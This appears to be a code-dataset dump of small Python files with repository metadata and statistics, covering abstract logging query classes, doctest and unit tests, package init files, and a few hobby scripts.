null
null
null
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
4
37b5bd4ccb81073174c1bf24aafd24ee046d9109
117
py
Python
lib/voodoo/lmetaclass.py
ytrstu/liten
4c4caa8f8e2d3a1accc5e47c4e385d7ea0c7827c
[ "MIT" ]
null
null
null
lib/voodoo/lmetaclass.py
ytrstu/liten
4c4caa8f8e2d3a1accc5e47c4e385d7ea0c7827c
[ "MIT" ]
null
null
null
lib/voodoo/lmetaclass.py
ytrstu/liten
4c4caa8f8e2d3a1accc5e47c4e385d7ea0c7827c
[ "MIT" ]
null
null
null
#!/usr/bin/env python # lmetaclass # A library for doing things with metaclasses # Author: Noah Gift # 12/02/2007
13
45
0.717949
18
117
4.666667
1
0
0
0
0
0
0
0
0
0
0
0.083333
0.179487
117
8
46
14.625
0.791667
0.888889
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
4
37c172dbc507209ddfcd640ddc734d8390c8a241
20
py
Python
src/msf_rpc/pre-install/msgpack-python-0.4.7/msgpack/_version.py
ITh4cker/auto_tools
8e0e00cdf8bf60ee3f26fa5ae8f18c376298d0aa
[ "Apache-2.0" ]
null
null
null
src/msf_rpc/pre-install/msgpack-python-0.4.7/msgpack/_version.py
ITh4cker/auto_tools
8e0e00cdf8bf60ee3f26fa5ae8f18c376298d0aa
[ "Apache-2.0" ]
null
null
null
src/msf_rpc/pre-install/msgpack-python-0.4.7/msgpack/_version.py
ITh4cker/auto_tools
8e0e00cdf8bf60ee3f26fa5ae8f18c376298d0aa
[ "Apache-2.0" ]
1
2021-06-16T07:32:17.000Z
2021-06-16T07:32:17.000Z
version = (0, 4, 7)
10
19
0.5
4
20
2.5
1
0
0
0
0
0
0
0
0
0
0
0.2
0.25
20
1
20
20
0.466667
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
8068ffe00d840760a9d611c01ad1846041a4a734
78
py
Python
chap2/apostrophe.py
wikilike7/python-crash-course
85cd7a2ab6e43a554c282b6e0c1c44c415cca3a3
[ "MIT" ]
null
null
null
chap2/apostrophe.py
wikilike7/python-crash-course
85cd7a2ab6e43a554c282b6e0c1c44c415cca3a3
[ "MIT" ]
null
null
null
chap2/apostrophe.py
wikilike7/python-crash-course
85cd7a2ab6e43a554c282b6e0c1c44c415cca3a3
[ "MIT" ]
1
2019-03-05T09:31:27.000Z
2019-03-05T09:31:27.000Z
message = "One of Python's strengths is its divers community." print(message)
26
62
0.769231
12
78
5
0.916667
0
0
0
0
0
0
0
0
0
0
0
0.141026
78
2
63
39
0.895522
0
0
0
0
0
0.641026
0
0
0
0
0
0
1
0
false
0
0
0
0
0.5
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
4
807f4170a1fc4277ec517a9fab00addf62a98240
801
py
Python
tests/test_doctests.py
bacor/ISMIR2020
ab3edb742a718fe5c3fd40550c54f104fe9b6078
[ "MIT" ]
2
2020-09-06T15:49:55.000Z
2021-11-06T11:06:50.000Z
tests/test_doctests.py
bacor/ISMIR2020
ab3edb742a718fe5c3fd40550c54f104fe9b6078
[ "MIT" ]
null
null
null
tests/test_doctests.py
bacor/ISMIR2020
ab3edb742a718fe5c3fd40550c54f104fe9b6078
[ "MIT" ]
null
null
null
import unittest import doctest from src import features from src import filters from src import representation from src import segmentation from src import volpiano class TestDocTests(unittest.TestCase): def test_features(self): result = doctest.testmod(features) self.assertEqual(result.failed, 0) def test_filters(self): result = doctest.testmod(filters) self.assertEqual(result.failed, 0) def test_representation(self): result = doctest.testmod(representation) self.assertEqual(result.failed, 0) def test_segmentation(self): result = doctest.testmod(segmentation) self.assertEqual(result.failed, 0) def test_volpiano(self): result = doctest.testmod(volpiano) self.assertEqual(result.failed, 0)
28.607143
48
0.714107
93
801
6.096774
0.225806
0.061728
0.114638
0.21164
0.296296
0.246914
0.246914
0
0
0
0
0.007862
0.205993
801
28
49
28.607143
0.883648
0
0
0.217391
0
0
0
0
0
0
0
0
0.217391
1
0.217391
false
0
0.304348
0
0.565217
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
1
0
1
0
0
4
80909a727110b50f5e31ebeb4bc0ea8164457ea6
17,975
py
Python
dlkit/abstract_osid/logging_/queries.py
UOC/dlkit
a9d265db67e81b9e0f405457464e762e2c03f769
[ "MIT" ]
2
2018-02-23T12:16:11.000Z
2020-10-08T17:54:24.000Z
dlkit/abstract_osid/logging_/queries.py
UOC/dlkit
a9d265db67e81b9e0f405457464e762e2c03f769
[ "MIT" ]
87
2017-04-21T18:57:15.000Z
2021-12-13T19:43:57.000Z
dlkit/abstract_osid/logging_/queries.py
UOC/dlkit
a9d265db67e81b9e0f405457464e762e2c03f769
[ "MIT" ]
1
2018-03-01T16:44:25.000Z
2018-03-01T16:44:25.000Z
"""Implementations of logging abstract base class queries.""" # pylint: disable=invalid-name # Method names comply with OSID specification. # pylint: disable=no-init # Abstract classes do not define __init__. # pylint: disable=too-few-public-methods # Some interfaces are specified as 'markers' and include no methods. # pylint: disable=too-many-public-methods # Number of methods are defined in specification # pylint: disable=too-many-ancestors # Inheritance defined in specification # pylint: disable=too-many-arguments # Argument signature defined in specification. # pylint: disable=duplicate-code # All apparent duplicates have been inspected. They aren't. import abc class LogEntryQuery: """This is the query for searching log entries. Each method specifies an ``AND`` term while multiple invocations of the same method produce a nested ``OR``. """ __metaclass__ = abc.ABCMeta @abc.abstractmethod def match_priority(self, priority_type, match): """Matches a priority ``Type`` for the log entry. :param priority_type: ``Type`` to match :type priority_type: ``osid.type.Type`` :param match: ``true`` if for a positive match, ``false`` for a negative match :type match: ``boolean`` :raise: ``NullArgument`` -- ``priority_type`` is ``null`` *compliance: mandatory -- This method must be implemented.* """ pass @abc.abstractmethod def match_any_priority(self, match): """Matches log entries with any priority. :param match: ``true`` to match log entries with any priority, ``false`` to match log entries with no priority :type match: ``boolean`` *compliance: mandatory -- This method must be implemented.* """ pass @abc.abstractmethod def clear_priority_terms(self): """Clears the priority terms. *compliance: mandatory -- This method must be implemented.* """ pass priority_terms = property(fdel=clear_priority_terms) @abc.abstractmethod def match_minimum_priority(self, priority_type, match): """Matches a log entries including and above the given priority type. :param priority_type: ``Type`` to match :type priority_type: ``osid.type.Type`` :param match: ``true`` if for a positive match, ``false`` for a negative match :type match: ``boolean`` :raise: ``NullArgument`` -- ``priority_type`` is ``null`` *compliance: mandatory -- This method must be implemented.* """ pass @abc.abstractmethod def clear_minimum_priority_terms(self): """Clears the minimum priority terms. *compliance: mandatory -- This method must be implemented.* """ pass minimum_priority_terms = property(fdel=clear_minimum_priority_terms) @abc.abstractmethod def match_timestamp(self, start_time, end_time, match): """Matches the time of this log entry. :param start_time: start time :type start_time: ``osid.calendaring.DateTime`` :param end_time: end time :type end_time: ``osid.calendaring.DateTime`` :param match: ``true`` if for a positive match, ``false`` for a negative match :type match: ``boolean`` :raise: ``InvalidArgument`` -- ``start_time`` is greater than ``end_time`` :raise: ``NullArgument`` -- ``start_time`` or ``end_time`` is ``null`` *compliance: mandatory -- This method must be implemented.* """ pass @abc.abstractmethod def clear_timestamp_terms(self): """Clears the timestamp terms. *compliance: mandatory -- This method must be implemented.* """ pass timestamp_terms = property(fdel=clear_timestamp_terms) @abc.abstractmethod def match_resource_id(self, resource_id, match): """Matches a resource in this log entry. :param resource_id: ``Id`` to match :type resource_id: ``osid.id.Id`` :param match: ``true`` if for a positive match, ``false`` for a negative match :type match: ``boolean`` :raise: ``NullArgument`` -- ``resource_id`` is ``null`` *compliance: mandatory -- This method must be implemented.* """ pass @abc.abstractmethod def clear_resource_id_terms(self): """Clears the resource ``Id`` terms. *compliance: mandatory -- This method must be implemented.* """ pass resource_id_terms = property(fdel=clear_resource_id_terms) @abc.abstractmethod def supports_resource_query(self): """Tests if a ``ResourceQuery`` is available for querying agents. :return: ``true`` if a resource query is available, ``false`` otherwise :rtype: ``boolean`` *compliance: mandatory -- This method must be implemented.* """ return # boolean @abc.abstractmethod def get_resource_query(self): """Gets the query for a resource. :return: the resource query :rtype: ``osid.resource.ResourceQuery`` :raise: ``Unimplemented`` -- ``supports_resource_query()`` is ``false`` *compliance: optional -- This method must be implemented if ``supports_resource_query()`` is ``true``.* """ return # osid.resource.ResourceQuery resource_query = property(fget=get_resource_query) @abc.abstractmethod def clear_resource_terms(self): """Clears the resource terms. *compliance: mandatory -- This method must be implemented.* """ pass resource_terms = property(fdel=clear_resource_terms) @abc.abstractmethod def match_agent_id(self, agent_id, match): """Matches an agent in this log entry. :param agent_id: ``Id`` to match :type agent_id: ``osid.id.Id`` :param match: ``true`` if for a positive match, ``false`` for a negative match :type match: ``boolean`` :raise: ``NullArgument`` -- ``agent_id`` is ``null`` *compliance: mandatory -- This method must be implemented.* """ pass @abc.abstractmethod def clear_agent_id_terms(self): """Clears the agent ``Id`` terms. *compliance: mandatory -- This method must be implemented.* """ pass agent_id_terms = property(fdel=clear_agent_id_terms) @abc.abstractmethod def supports_agent_query(self): """Tests if an ``AgentQuery`` is available for querying agents. :return: ``true`` if an agent query is available, ``false`` otherwise :rtype: ``boolean`` *compliance: mandatory -- This method must be implemented.* """ return # boolean @abc.abstractmethod def get_agent_query(self): """Gets the query for an agent. :return: the agent query :rtype: ``osid.authentication.AgentQuery`` :raise: ``Unimplemented`` -- ``supports_agent_query()`` is ``false`` *compliance: optional -- This method must be implemented if ``supports_agent_query()`` is ``true``.* """ return # osid.authentication.AgentQuery agent_query = property(fget=get_agent_query) @abc.abstractmethod def clear_agent_terms(self): """Clears the agent terms. *compliance: mandatory -- This method must be implemented.* """ pass agent_terms = property(fdel=clear_agent_terms) @abc.abstractmethod def match_log_id(self, log_id, match): """Matches a log. :param log_id: ``Id`` to match :type log_id: ``osid.id.Id`` :param match: ``true`` if for a positive match, ``false`` for a negative match :type match: ``boolean`` :raise: ``NullArgument`` -- ``log_id`` is ``null`` *compliance: mandatory -- This method must be implemented.* """ pass @abc.abstractmethod def clear_log_id_terms(self): """Clears the log ``Id`` terms. *compliance: mandatory -- This method must be implemented.* """ pass log_id_terms = property(fdel=clear_log_id_terms) @abc.abstractmethod def supports_log_query(self): """Tests if a ``LogQuery`` is available for querying logs. :return: ``true`` if a log query is available, ``false`` otherwise :rtype: ``boolean`` *compliance: mandatory -- This method must be implemented.* """ return # boolean @abc.abstractmethod def get_log_query(self): """Gets the query for a log. :return: the log query :rtype: ``osid.logging.LogQuery`` :raise: ``Unimplemented`` -- ``supports_log_query()`` is ``false`` *compliance: optional -- This method must be implemented if ``supports_log_query()`` is ``true``.* """ return # osid.logging.LogQuery log_query = property(fget=get_log_query) @abc.abstractmethod def clear_log_terms(self): """Clears the log terms. *compliance: mandatory -- This method must be implemented.* """ pass log_terms = property(fdel=clear_log_terms) @abc.abstractmethod def get_log_entry_query_record(self, log_entry_record_type): """Gets the log entry query corresponding to the given ``LogEntry`` record ``Type``. Multiple record retrievals produce a nested ``OR`` term. :param log_entry_record_type: a log entry record type :type log_entry_record_type: ``osid.type.Type`` :return: the log entry query record :rtype: ``osid.logging.records.LogEntryQueryRecord`` :raise: ``NullArgument`` -- ``log_entry_record_type`` is ``null`` :raise: ``OperationFailed`` -- unable to complete request :raise: ``Unsupported`` -- ``has_record_type(log_eutry_record_type)`` is ``false`` *compliance: mandatory -- This method must be implemented.* """ return # osid.logging.records.LogEntryQueryRecord class LogQuery: """This is the query for searching for logs. Each method specifies an ``AND`` term while multiple invocations of the same method produce a nested ``OR``. """ __metaclass__ = abc.ABCMeta @abc.abstractmethod def match_log_entry_id(self, log_entry_id, match): """Sets a log entry ``Id``. :param log_entry_id: a log entry ``Id`` :type log_entry_id: ``osid.id.Id`` :param match: ``true`` for a positive match, ``false`` for a negative match :type match: ``boolean`` :raise: ``NullArgument`` -- ``log_entry_id`` is ``null`` *compliance: mandatory -- This method must be implemented.* """ pass @abc.abstractmethod def clear_log_entry_id_terms(self): """Clesrs the log entry ``Id`` terms. *compliance: mandatory -- This method must be implemented.* """ pass log_entry_id_terms = property(fdel=clear_log_entry_id_terms) @abc.abstractmethod def supports_log_entry_query(self): """Tests if a log entry query is available. :return: ``true`` if a log entry query is available, ``false`` otherwise :rtype: ``boolean`` *compliance: mandatory -- This method must be implemented.* """ return # boolean @abc.abstractmethod def get_log_entry_query(self): """Gets the query for a log entry. :return: the log entry query :rtype: ``osid.logging.LogEntryQuery`` :raise: ``Unimplemented`` -- ``supports_log_entry_query()`` is ``false`` *compliance: optional -- This method must be implemented if ``supports_log_entry_query()`` is ``true``.* """ return # osid.logging.LogEntryQuery log_entry_query = property(fget=get_log_entry_query) @abc.abstractmethod def match_any_log_entry(self, match): """Matches logs with any log entry. :param match: ``true`` to match logs with any entry, ``false`` to match logs with no log entries :type match: ``boolean`` *compliance: mandatory -- This method must be implemented.* """ pass @abc.abstractmethod def clear_log_entry_terms(self): """Clesrs the log entry terms. *compliance: mandatory -- This method must be implemented.* """ pass log_entry_terms = property(fdel=clear_log_entry_terms) @abc.abstractmethod def match_ancestor_log_id(self, log_id, match): """Sets the log ``Id`` for this query to match logs that have the specified log as an ancestor. :param log_id: a log ``Id`` :type log_id: ``osid.id.Id`` :param match: ``true`` for a positive match, ``false`` for a negative match :type match: ``boolean`` :raise: ``NullArgument`` -- ``log_id`` is ``null`` *compliance: mandatory -- This method must be implemented.* """ pass @abc.abstractmethod def clear_ancestor_log_id_terms(self): """Clesrs the ancestor log ``Id`` terms. *compliance: mandatory -- This method must be implemented.* """ pass ancestor_log_id_terms = property(fdel=clear_ancestor_log_id_terms) @abc.abstractmethod def supports_ancestor_log_query(self): """Tests if a ``LogQuery`` is available. :return: ``true`` if a log query is available, ``false`` otherwise :rtype: ``boolean`` *compliance: mandatory -- This method must be implemented.* """ return # boolean @abc.abstractmethod def get_ancestor_log_query(self): """Gets the query for a log. Multiple retrievals produce a nested ``OR`` term. :return: the log query :rtype: ``osid.logging.LogQuery`` :raise: ``Unimplemented`` -- ``supports_ancestor_log_query()`` is ``false`` *compliance: optional -- This method must be implemented if ``supports_ancestor_log_query()`` is ``true``.* """ return # osid.logging.LogQuery ancestor_log_query = property(fget=get_ancestor_log_query) @abc.abstractmethod def match_any_ancestor_log(self, match): """Matches logs with any ancestor. :param match: ``true`` to match logs with any ancestor, ``false`` to match root logs :type match: ``boolean`` *compliance: mandatory -- This method must be implemented.* """ pass @abc.abstractmethod def clear_ancestor_log_terms(self): """Clesrs the ancestor log terms. *compliance: mandatory -- This method must be implemented.* """ pass ancestor_log_terms = property(fdel=clear_ancestor_log_terms) @abc.abstractmethod def match_descendant_log_id(self, log_id, match): """Sets the log ``Id`` for this query to match logs that have the specified log as a descendant. :param log_id: a log ``Id`` :type log_id: ``osid.id.Id`` :param match: ``true`` for a positive match, ``false`` for a negative match :type match: ``boolean`` :raise: ``NullArgument`` -- ``log_id`` is ``null`` *compliance: mandatory -- This method must be implemented.* """ pass @abc.abstractmethod def clear_descendant_log_id_terms(self): """Clesrs the descendant log ``Id`` terms. *compliance: mandatory -- This method must be implemented.* """ pass descendant_log_id_terms = property(fdel=clear_descendant_log_id_terms) @abc.abstractmethod def supports_descendant_log_query(self): """Tests if a ``LogQuery`` is available. :return: ``true`` if a log query is available, ``false`` otherwise :rtype: ``boolean`` *compliance: mandatory -- This method must be implemented.* """ return # boolean @abc.abstractmethod def get_descendant_log_query(self): """Gets the query for a log. Multiple retrievals produce a nested ``OR`` term. :return: the log query :rtype: ``osid.logging.LogQuery`` :raise: ``Unimplemented`` -- ``supports_descendant_log_query()`` is ``false`` *compliance: optional -- This method must be implemented if ``supports_descendant_log_query()`` is ``true``.* """ return # osid.logging.LogQuery descendant_log_query = property(fget=get_descendant_log_query) @abc.abstractmethod def match_any_descendant_log(self, match): """Matches logs with any descendant. :param match: ``true`` to match logs with any descendant, ``false`` to match leaf logs :type match: ``boolean`` *compliance: mandatory -- This method must be implemented.* """ pass @abc.abstractmethod def clear_descendant_log_terms(self): """Clesrs the descendant log terms. *compliance: mandatory -- This method must be implemented.* """ pass descendant_log_terms = property(fdel=clear_descendant_log_terms) @abc.abstractmethod def get_log_query_record(self, log_record_type): """Gets the log query record corresponding to the given ``Log`` record ``Type``. Multiple record retrievals produce a nested boolean ``OR`` term. :param log_record_type: a log record type :type log_record_type: ``osid.type.Type`` :return: the log query record :rtype: ``osid.logging.records.LogQueryRecord`` :raise: ``NullArgument`` -- ``log_record_type`` is ``null`` :raise: ``OperationFailed`` -- unable to complete request :raise: ``Unsupported`` -- ``has_record_type(log_record_type)`` is ``false`` *compliance: mandatory -- This method must be implemented.* """ return # osid.logging.records.LogQueryRecord
28.173981
118
0.62509
2,088
17,975
5.227011
0.079502
0.065421
0.076965
0.061572
0.801173
0.688382
0.616089
0.561297
0.517134
0.505314
0
0
0.26025
17,975
637
119
28.21821
0.820787
0.602114
0
0.565789
0
0
0
0
0
0
0
0
0
1
0.276316
false
0.184211
0.006579
0
0.539474
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
1
0
0
4
80aa1d6c945b373ebf6f813352f34e729f71c940
39
py
Python
recibirtexto.py
tarados2/prueba1
f30c38bbb7f60f15d597f491a0460164d0854458
[ "CC0-1.0" ]
null
null
null
recibirtexto.py
tarados2/prueba1
f30c38bbb7f60f15d597f491a0460164d0854458
[ "CC0-1.0" ]
null
null
null
recibirtexto.py
tarados2/prueba1
f30c38bbb7f60f15d597f491a0460164d0854458
[ "CC0-1.0" ]
null
null
null
texto=input('Introduzca un numero: '))
19.5
38
0.717949
5
39
5.6
1
0
0
0
0
0
0
0
0
0
0
0
0.102564
39
1
39
39
0.8
0
0
0
0
0
0.564103
0
0
0
0
0
0
0
null
null
0
0
null
null
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
4
80d5cd6420b1e730fc60fa79eca49ef3888e622d
264
py
Python
test/test_tumblr_stats.py
JulienLeonard/socialstats
944e3e4ceba2d977537934299e0c91abd5375d53
[ "MIT" ]
null
null
null
test/test_tumblr_stats.py
JulienLeonard/socialstats
944e3e4ceba2d977537934299e0c91abd5375d53
[ "MIT" ]
null
null
null
test/test_tumblr_stats.py
JulienLeonard/socialstats
944e3e4ceba2d977537934299e0c91abd5375d53
[ "MIT" ]
null
null
null
import sys sys.path.insert(0, './../lib') import tumblr_stats from mysocialids import * tumblr_stats.tumblr_dump(tumblr_consumer_key(), tumblr_secret_key(), tumblr_access_token(), tumblr_access_token_secret(), tumblr_userid(), "tumblr_stats.xml")
22
159
0.746212
35
264
5.228571
0.514286
0.180328
0.185792
0
0
0
0
0
0
0
0
0.004329
0.125
264
11
160
24
0.787879
0
0
0
0
0
0.096386
0
0
0
0
0
0
1
0
true
0
0.6
0
0.6
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
4
80deb61035b829ed95550555a8d2407c3d8fead5
192
py
Python
datafiles/__init__.py
colltoaction/datafiles
a331b1fd0ed98b7685a1dae8c0efb73e683063d6
[ "MIT" ]
151
2018-12-15T17:01:07.000Z
2022-03-27T17:30:25.000Z
datafiles/__init__.py
colltoaction/datafiles
a331b1fd0ed98b7685a1dae8c0efb73e683063d6
[ "MIT" ]
100
2018-07-28T12:13:17.000Z
2022-02-02T22:54:03.000Z
datafiles/__init__.py
colltoaction/datafiles
a331b1fd0ed98b7685a1dae8c0efb73e683063d6
[ "MIT" ]
17
2019-02-14T08:08:39.000Z
2022-02-06T13:49:49.000Z
# pylint: disable=unused-import from dataclasses import field from . import converters, settings from .decorators import auto, datafile from .manager import Missing from .model import Model
21.333333
38
0.807292
25
192
6.2
0.6
0
0
0
0
0
0
0
0
0
0
0
0.140625
192
8
39
24
0.939394
0.151042
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
4
03ae63eb03418d20a135cdf047a330286174502e
31
py
Python
homeassistant/components/citybikes/__init__.py
domwillcode/home-assistant
f170c80bea70c939c098b5c88320a1c789858958
[ "Apache-2.0" ]
30,023
2016-04-13T10:17:53.000Z
2020-03-02T12:56:31.000Z
homeassistant/components/citybikes/__init__.py
jagadeeshvenkatesh/core
1bd982668449815fee2105478569f8e4b5670add
[ "Apache-2.0" ]
31,101
2020-03-02T13:00:16.000Z
2022-03-31T23:57:36.000Z
homeassistant/components/citybikes/__init__.py
jagadeeshvenkatesh/core
1bd982668449815fee2105478569f8e4b5670add
[ "Apache-2.0" ]
11,956
2016-04-13T18:42:31.000Z
2020-03-02T09:32:12.000Z
"""The citybikes component."""
15.5
30
0.677419
3
31
7
1
0
0
0
0
0
0
0
0
0
0
0
0.096774
31
1
31
31
0.75
0.774194
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
4
03b371aa665399257dae8d6ae55df5933083525a
533
py
Python
test/test_utils.py
samarcan/konfetti
77bd06ae0971e854a0241b5b097d004d3c81e3de
[ "MIT" ]
23
2019-07-01T09:31:46.000Z
2021-07-19T11:38:47.000Z
test/test_utils.py
samarcan/konfetti
77bd06ae0971e854a0241b5b097d004d3c81e3de
[ "MIT" ]
33
2019-06-30T17:08:16.000Z
2022-02-10T12:23:57.000Z
test/test_utils.py
kiwicom/kwonfig
f80d175301e0a2ad3178e6ded60a6a3d8525d9d9
[ "MIT" ]
2
2019-07-23T13:02:19.000Z
2020-01-09T16:20:30.000Z
import pytest from konfetti.utils import flatten_dict, rebuild_dict @pytest.mark.parametrize("value, expected", (({}, []), ({"A": 1}, [(["A"], 1)]), ({"A": {"B": 1}}, [(["A", "B"], 1)]))) def test_flatten_dict(value, expected): assert list(flatten_dict(value)) == expected def callback(value): return value + 1 @pytest.mark.parametrize("value, expected", (({}, {}), ({"A": 1}, {"A": 2}), ({"A": {"B": 1}}, {"A": {"B": 2}}))) def test_rebuild_dict(value, expected): assert rebuild_dict(value, callback) == expected
29.611111
119
0.590994
70
533
4.385714
0.314286
0.211726
0.029316
0.169381
0.273616
0.241042
0.241042
0.241042
0
0
0
0.019651
0.140713
533
17
120
31.352941
0.650655
0
0
0
0
0
0.078799
0
0
0
0
0
0.2
1
0.3
false
0
0.2
0.1
0.6
0
0
0
0
null
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
4
20ddfc85099805c9b9cf7e87cd818f8df8656913
146
py
Python
spoteno/__init__.py
Z-80/spoteno
5d2ae7da437cfd8f9cf351b9602269c115dcd46f
[ "MIT" ]
2
2020-01-16T10:23:05.000Z
2021-11-17T15:44:29.000Z
spoteno/__init__.py
Z-80/spoteno
5d2ae7da437cfd8f9cf351b9602269c115dcd46f
[ "MIT" ]
null
null
null
spoteno/__init__.py
Z-80/spoteno
5d2ae7da437cfd8f9cf351b9602269c115dcd46f
[ "MIT" ]
2
2021-03-25T12:06:36.000Z
2021-11-17T15:44:30.000Z
from spoteno.normalizer import Normalizer # noqa: F401 from spoteno.configuration.base import Configuration # noqa: F401 __version__ = '0.1.1'
29.2
66
0.780822
19
146
5.789474
0.578947
0.2
0
0
0
0
0
0
0
0
0
0.071429
0.136986
146
4
67
36.5
0.801587
0.143836
0
0
0
0
0.040984
0
0
0
0
0
0
1
0
false
0
0.666667
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
4
4561ba8118261a9b2b634e7bde8aad9191446b5d
569
py
Python
digsby/src/msn/SOAP/Namespaces.py
ifwe/digsby
f5fe00244744aa131e07f09348d10563f3d8fa99
[ "Python-2.0" ]
35
2015-08-15T14:32:38.000Z
2021-12-09T16:21:26.000Z
digsby/src/msn/SOAP/Namespaces.py
niterain/digsby
16a62c7df1018a49eaa8151c0f8b881c7e252949
[ "Python-2.0" ]
4
2015-09-12T10:42:57.000Z
2017-02-27T04:05:51.000Z
digsby/src/msn/SOAP/Namespaces.py
niterain/digsby
16a62c7df1018a49eaa8151c0f8b881c7e252949
[ "Python-2.0" ]
15
2015-07-10T23:58:07.000Z
2022-01-23T22:16:33.000Z
from ZSI.wstools.Namespaces import * class PPCRL: BASE = "http://schemas.microsoft.com/Passport/SoapServices/PPCRL" FAULT = "http://schemas.microsoft.com/Passport/SoapServices/SOAPFault" IDS = "http://schemas.microsoft.com/passport/IDS" class MSWS: STORAGE = "http://www.msn.com/webservices/storage/2008" SPACES = "http://www.msn.com/webservices/spaces/v1/" ADDRESS = "http://www.msn.com/webservices/AddressBook" class HMNS: RSI = "http://www.hotmail.msn.com/ws/2004/09/oim/rsi" OIM = "http://messenger.msn.com/ws/2004/09/oim/"
31.611111
74
0.695958
77
569
5.142857
0.454545
0.075758
0.151515
0.174242
0.563131
0.30303
0
0
0
0
0
0.034413
0.13181
569
17
75
33.470588
0.767206
0
0
0
0
0
0.647887
0
0
0
0
0
0
1
0
false
0.25
0.083333
0
1
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
1
0
0
1
0
0
4
457d403480dbd5e53fe48d05d64cc74445137349
115
py
Python
codeIf.py
Neulana/alfred-codeIf
1e7f11f0de6b76fb374457af247a72bc3c6f90e6
[ "MIT" ]
11
2019-06-26T17:23:28.000Z
2020-06-01T02:27:59.000Z
codeIf.py
Neulana/alfred-codeIf
1e7f11f0de6b76fb374457af247a72bc3c6f90e6
[ "MIT" ]
null
null
null
codeIf.py
Neulana/alfred-codeIf
1e7f11f0de6b76fb374457af247a72bc3c6f90e6
[ "MIT" ]
4
2019-10-01T14:44:00.000Z
2020-01-13T12:25:51.000Z
#!/usr/bin/python # encoding: utf-8 def search(key, *args, kwargs): pass if __name__ == "__main__": pass
12.777778
31
0.626087
16
115
4
0.9375
0
0
0
0
0
0
0
0
0
0
0.010989
0.208696
115
8
32
14.375
0.692308
0.278261
0
0.5
0
0
0.098765
0
0
0
0
0
0
1
0.25
false
0.5
0
0
0.25
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
4
4598da74bf7f654efadd1fc93ba954ca26cd6eb3
132
py
Python
tmt/__init__.py
hroncok/tmt
f4738e387be18087b49cee52d04fbdbc142ef2a7
[ "MIT" ]
null
null
null
tmt/__init__.py
hroncok/tmt
f4738e387be18087b49cee52d04fbdbc142ef2a7
[ "MIT" ]
null
null
null
tmt/__init__.py
hroncok/tmt
f4738e387be18087b49cee52d04fbdbc142ef2a7
[ "MIT" ]
null
null
null
""" Test Metadata Tool """ from __future__ import unicode_literals, absolute_import from tmt.base import Tree __all__ = ["Tree"]
16.5
56
0.75
17
132
5.235294
0.764706
0
0
0
0
0
0
0
0
0
0
0
0.151515
132
7
57
18.857143
0.794643
0.136364
0
0
0
0
0.037736
0
0
0
0
0
0
1
0
false
0
0.666667
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
4
afe75863b767435fe652f01a7b05bdab7f03a36b
136
py
Python
blocksearch.py
arancaytar/worldgrep
6c1dee229ec3c4e8b6e3a9db38089f4758ff0f20
[ "MIT" ]
null
null
null
blocksearch.py
arancaytar/worldgrep
6c1dee229ec3c4e8b6e3a9db38089f4758ff0f20
[ "MIT" ]
null
null
null
blocksearch.py
arancaytar/worldgrep
6c1dee229ec3c4e8b6e3a9db38089f4758ff0f20
[ "MIT" ]
null
null
null
import sys from common import * import nbt world = nbt.world.AnvilWorldFolder(sys.argv[1]) print(countBlocks(world, int(sys.argv[2])))
19.428571
47
0.757353
21
136
4.904762
0.619048
0.15534
0
0
0
0
0
0
0
0
0
0.016393
0.102941
136
6
48
22.666667
0.827869
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.6
0
0.6
0.2
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
4
b3057e02475f5194ccd1c7c3541713ad7308bbbf
52
py
Python
albow/core/__init__.py
hasii2011/albow-python-3
04b9d42705b370b62f0e49d10274eebf3ac54bc1
[ "MIT" ]
6
2019-04-30T23:50:39.000Z
2019-11-04T06:15:02.000Z
albow/core/__init__.py
hasii2011/albow-python-3
04b9d42705b370b62f0e49d10274eebf3ac54bc1
[ "MIT" ]
73
2019-05-12T18:43:14.000Z
